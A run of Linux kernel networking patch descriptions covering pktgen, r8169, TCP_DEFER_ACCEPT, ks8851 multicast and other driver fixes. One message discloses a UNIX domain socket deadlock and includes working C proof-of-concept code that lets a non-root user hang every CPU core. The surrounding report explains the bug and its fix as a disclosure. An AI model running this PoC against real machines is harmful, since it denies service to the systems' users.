While playing with pktgen, I realized IP ID was not filled and a random value was taken, possibly leaking 2 bytes of kernel memory. We can use an increasing ID, this can help diagnostics anyway. Also clear packet payload, instead of leaking kernel memory. Signed-off-by:

The 8110SC rev d chip on our board shows a regression which the 8110SB chip did not have. When inbound traffic is overflowing the receive descriptor queue, "holes" in the ring buffer may occur which lead to a hangup until the buffer is filled again. The packets are than completely processed, but the ring remains porous and no packets are processed until the next overflow. Setting the interface down and up can fix the problem temporary from userspace. For some reason we don't know, this behaviour is not occuring if the RxVlan bit for hardware VLAN untagging is set. There is another "Work around for AMD plateform" in the current code which checks the VLAN status word in receive descriptors, but does never come to effect when hardware VLAN support is enabled. We assume that this is a bug in the chip. The following patch fixes the problem. Without the patch we could reproduce the hang within minutes (given other devices also generating lots of interrupts), without we couldn't reproduce within a few days of long term testing. This version contains minor style adjustments and is sent with mutt which will hopefully not destroy the formatting again. Signed-off-by:

Commit b6b39e8f (tcp: Try to catch MSG_PEEK bug) added a printk() to the WARN_ON() that's in tcp.c. This patch changes this combination to WARN(); the advantage of WARN() is that the printk message shows up inside the message, so that kerneloops.org will collect the message. In addition, this gets rid of an extra if() statement. Signed-off-by:

In ks8851_set_rx_mode() the case handling IFF_MULTICAST was also setting the RXCR1_AE bit by accident. This meant that all unicast frames where being accepted by the device. Remove RXCR1_AE from this case. Note, RXCR1_AE was also masking a problem with setting the MAC address properly, so needs to be applied after fixing the MAC write order. Fixes a bug reported by Doong, Ping of Micrel. This version of the patch avoids setting RXCR1_ME for all cases. Signed-off-by:

ipv4/ipv6 setsockopt(IP_MULTICAST_IF) have dubious __dev_get_by_index() calls. This function should be called only with RTNL or dev_base_lock held, or reader could see a corrupt hash chain and eventually enter an endless loop. Fix is to call dev_get_by_index()/dev_put(). If this happens to be performance critical, we could define a new dev_exist_by_index() function to avoid touching dev refcount. Signed-off-by:

Change SYN-ACK retransmitting code for the TCP_DEFER_ACCEPT users to not retransmit SYN-ACKs during the deferring period if ACK from client was received. The goal is to reduce traffic during the deferring period. When the period is finished we continue with sending SYN-ACKs (at least one) but this time any traffic from client will change the request to established socket allowing application to terminate it properly. Also, do not drop acked request if sending of SYN-ACK fails. Signed-off-by:

Willy Tarreau and many other folks in recent years were concerned what happens when the TCP_DEFER_ACCEPT period expires for clients which sent ACK packet. They prefer clients that actively resend ACK on our SYN-ACK retransmissions to be converted from open requests to sockets and queued to the listener for accepting after the deferring period is finished. Then application server can decide to wait longer for data or to properly terminate the connection with FIN if read() returns EAGAIN which is an indication for accepting after the deferring period. This change still can have side effects for applications that expect always to see data on the accepted socket. Others can be prepared to work in both modes (with or without TCP_DEFER_ACCEPT period) and their data processing can ignore the read=EAGAIN notification and to allocate resources for clients which proved to have no data to send during the deferring period. OTOH, servers that use TCP_DEFER_ACCEPT=1 as flag (not as a timeout) to wait for data will notice clients that didn't send data for 3 seconds but that still resend ACKs. Thanks to Willy Tarreau for the initial idea and to Eric Dumazet for the review and testing the change. Signed-off-by:

I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users. How to reproduce: 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct namespace(*), and shutdown(2) it. 2. Repeat connect(2)ing to the listening socket from the other sockets until the connection backlog is full-filled. 3. connect(2) takes the CPU forever. If every core is taken, the system hangs. PoC code: (Run as many times as cores on SMP machines.) int main(void) { int ret; int csd; int lsd; struct sockaddr_un sun; /* make an abstruct name address (*) */ memset(&sun, 0, sizeof(sun)); sun.sun_family = PF_UNIX; sprintf(&sun.sun_path[1], "%d", getpid()); /* create the listening socket and shutdown */ lsd = socket(AF_UNIX, SOCK_STREAM, 0); bind(lsd, (struct sockaddr *)&sun, sizeof(sun)); listen(lsd, 1); shutdown(lsd, SHUT_RDWR); /* connect loop */ alarm(15); /* forcely exit the loop after 15 sec */ for (;;) { csd = socket(AF_UNIX, SOCK_STREAM, 0); ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun)); if (-1 == ret) { perror("connect()"); break; } puts("Connection OK"); } return 0; } (*) Make sun_path[0] = 0 to use the abstruct namespace. If a file-based socket is used, the system doesn't deadlock because of context switches in the file system layer. Why this happens: Error checks between unix_socket_connect() and unix_wait_for_peer() are inconsistent. The former calls the latter to wait until the backlog is processed. Despite the latter returns without doing anything when the socket is shutdown, the former doesn't check the shutdown state and just retries calling the latter forever. Patch: The patch below adds shutdown check into unix_socket_connect(), so connect(2) to the shutdown socket will return -ECONREFUSED.

Before issuing any cmds to the FW, the driver must first wait till the fW becomes ready. This is needed for PCI hot plug when the driver can be probed while the card fw is being initialized. Signed-off-by:

vmxnet3 uses in_dev* interfaces so it should depend on INET.

The MDIO bus cannot be accessed at interrupt context, but on an FEC error, the fec_mpc52xx driver reset function also tries to reset the PHY. Since the error is detected at IRQ context, and the PHY functions try to sleep, the kernel ends up panicking. Resetting the PHY on an FEC error isn't even necessary. This patch solves the problem by removing the PHY reset entirely. Signed-off-by:

Some OF platform drivers are missing module device tables, so they won't load automatically on boot. This patch fixes the issue by adding proper MODULE_DEVICE_TABLE() macros to the drivers. Signed-off-by:

The mechanism to clear the statistics register is dependent on the status of GMIIEN bit in MAC control register. If the GMIIEN bit is set, the stats registers are write to decrement. If the GMIIEN bit is cleared, the stats registers are plain read/write registers. The stats register clearing operation must take into account the current state of GMIIEN as it can be cleared when the interface is brought down. With existing implementation logic, querying for interface stats when the interface is down, can corrupt the statistics counters. This patch examines the GMIIEN bit status in MAC_CONTROL register before choosing an appropriate mask for clearing stats registers. Signed-off-by:
